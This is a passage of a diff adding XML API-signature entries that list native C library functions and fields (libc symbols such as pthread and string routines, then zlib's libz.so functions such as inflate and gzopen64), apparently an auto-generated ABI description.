+      <method abstract="false" deprecated="not deprecated" final="true" name="seed48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getdetachstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setspecific" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="epoll_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcwidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gettimeofday" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fgets_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="jrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gmtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wmemchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="prlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="warn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_rcode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_sprintrrf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fsetlocking" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__pread64_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execlp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="freeifaddrs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpwuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__b64_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strstr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__register_atfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asctime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getspecific" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_nameinquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="at_quick_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_isourserver" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remque" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcstoull_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sighold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="uselocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vwarnx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_timedwrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="get_avphys_pages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_uncompress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswlower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="hasmntopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_tryrdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nsdispatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setfsgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="truncate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="capget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="umask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clearenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__memcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__pthread_cleanup_pop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_gettid_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_skiprr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setstacksize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_send_setqhook" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mbsinit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="symlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="funlockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswcntrl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_setaffinity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setpgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="login_tty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="statvfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__ppoll_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="__progname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="futimens" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gettid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setresuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strcoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vfwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="writev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="killpg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__p_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tfind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="statfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__isinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsrtombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_getclock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clone" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="initgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fsetpos64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="labs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="readdir64_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_getaffinity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timelocal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sethostname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getwchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetpos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getsockname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="msgsnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_trywrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getchar_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strnlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__assert2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="execvpe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="error_at_line" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftell" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isalpha" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_detach" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mempcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="warnx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="arc4random" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__libc_current_sigrtmin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inet_addr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcsstr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigpending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rmdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="stat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pread64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_trylock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="twalk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="sys_siglist" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mknodat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__pwrite_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setpriority" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcgetsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="abort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tcdrain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atoi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="faccessat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fchownat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="opterr" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__umask_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lchown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_set_nameservers_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setrlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="msgget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ftello" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="err" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="recvmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="siglongjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libz.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateInit2_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateTune" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflatePrime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateReset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gztell" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tr_tally" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateMark" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateSyncPoint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflate_fast" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateSetHeader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tr_align" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tr_flush_block" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateBackEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="_length_code" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="inflate_copyright" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="adler32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="z_errmsg" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateResetKeep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="crc32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="zError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="_dist_code" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gz_error" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflate_table" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateCopy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzputc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateGetHeader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="zcalloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzgetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzvprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateReset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzeof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tr_flush_bits" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateReset2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="crc32_combine64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="zlibCompileFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzdirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateInit2_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflatePending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="deflate_copyright" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzseek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="zcfree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateResetKeep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzoffset64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="compressBound" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="deflateParams" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateGetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="get_crc_table" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateBack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflatePrime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="inflateSetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tr_stored_block" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="adler32_combine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzrewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzclose_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gzdopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="zlibVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
